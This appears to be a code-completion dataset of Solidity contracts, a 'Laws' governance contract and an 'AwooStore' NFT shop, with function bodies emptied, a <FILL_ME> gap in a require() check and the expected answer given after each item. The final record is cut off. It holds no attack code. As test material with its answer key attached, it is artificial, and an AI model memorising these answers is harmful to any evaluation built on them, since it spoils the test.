function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
emit Log("Modifier checking for proposed law-removal conditions.");
require(laws[_associatedContract].status == 2,"This law contract is not an existing law!");
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(<FILL_ME>)
_;
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| gov.notifyOfProposedLawRemoval(_associatedContract,msg.sender),"HowContract returned FALSE. Rejects removal prposal." | 207,038 | gov.notifyOfProposedLawRemoval(_associatedContract,msg.sender) |
"HowContract returned FALSE. Rejects law addition." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
emit Log("Modifier checking for law removing conditions.");
require(laws[_associatedContract].status == 2,"This law contract is not an existing law!");
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(<FILL_ME>)
_;
}
}
| gov.notifyOfApprovingLawRemoval(_associatedContract,msg.sender),"HowContract returned FALSE. Rejects law addition." | 207,038 | gov.notifyOfApprovingLawRemoval(_associatedContract,msg.sender) |
"Specified item is not mintable" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
ItemDetail memory item = validateItem(itemId);
require(<FILL_ME>)
require(item.PmtType == PaymentType.AWOO, "Specified item cannot be purchased with AWOO");
validateRequestedQuantity(itemId, item, qty);
ensureAvailablity(item, itemId, qty);
claimAwoo(requestedClaims);
awooContract.spendVirtualAwoo(approval.Hash, approval.Sig, approval.Nonce, _msgSender(), qty * item.AWOOPrice);
awooMintableCollectionContract.mint(_msgSender(), item.TokenId, qty);
mintedItemCountsByAddress[_msgSender()][itemId] += qty;
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| !item.NonMintable,"Specified item is not mintable" | 207,382 | !item.NonMintable |
"Item cannot be applied" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
require(<FILL_ME>)
// Items can only be applied to "upgradable" tokens held by the same account
require(
_msgSender() == ERC721Enumerable(collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId]).ownerOf(applicationTokenId),
"Invalid application tokenId"
);
// Don't allow the item to be applied mutiple times to the same token unless the item is stackable
if(!item.UpgradeDetails.Stackable) {
require(
tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId] == 0,
"Specified item already applied to the specified token and is not stackable"
);
}
// If the item should change the base AWOO accrual rate of the item that it is being applied to, do that
// now
if(item.UpgradeDetails.UpgradeBaseAccrualRate > 0) {
awooClaimingContract.overrideTokenAccrualBaseRate(
collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId],
applicationTokenId,
item.UpgradeDetails.UpgradeBaseAccrualRate
);
}
tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId] += 1;
itemApplications[itemId][item.UpgradeDetails.ApplicableCollectionId].push(applicationTokenId);
// Tell NFC that we applied this upgrade so it can do some fun stuff
emit UpgradeItemApplied(itemId, collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId], applicationTokenId);
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| item.UpgradeDetails.UpgradeItem,"Item cannot be applied" | 207,382 | item.UpgradeDetails.UpgradeItem |
"Invalid application tokenId" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
